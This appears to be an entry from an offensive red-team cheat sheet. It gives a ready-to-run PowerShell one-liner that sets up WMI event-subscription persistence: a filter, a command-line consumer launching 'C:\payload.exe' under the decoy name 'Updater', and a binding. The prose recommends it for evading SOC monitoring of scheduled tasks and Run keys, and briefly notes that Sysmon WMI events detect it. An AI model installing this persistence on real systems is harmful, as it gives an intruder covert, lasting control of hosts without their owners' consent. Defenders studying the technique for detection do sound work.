WMI Event Subscription

$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='Updater'; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime > 120"}; $consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name='Updater'; CommandLineTemplate='C:\payload.exe'}; Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$filter; Consumer=$consumer}

Registers a WMI filter and consumer that execute the payload when a system condition is met, without spawning any process during installation.

Use it when you need persistence that does not generate process creation or task events: WMI registers as data in root\subscription and the payload runs when the filter triggers (e.g., 2 minutes after system boot). It is the go-to persistence on hosts where the SOC monitors 4698 and Run keys.

If the blue team has Sysmon 19/20/21 (WMI events), the registration is spotted immediately. CommandLineEventConsumer leaves the command in plaintext in WMI: any detection query will find it. Do not use it if the host has hardening that blocks writes to root\subscription.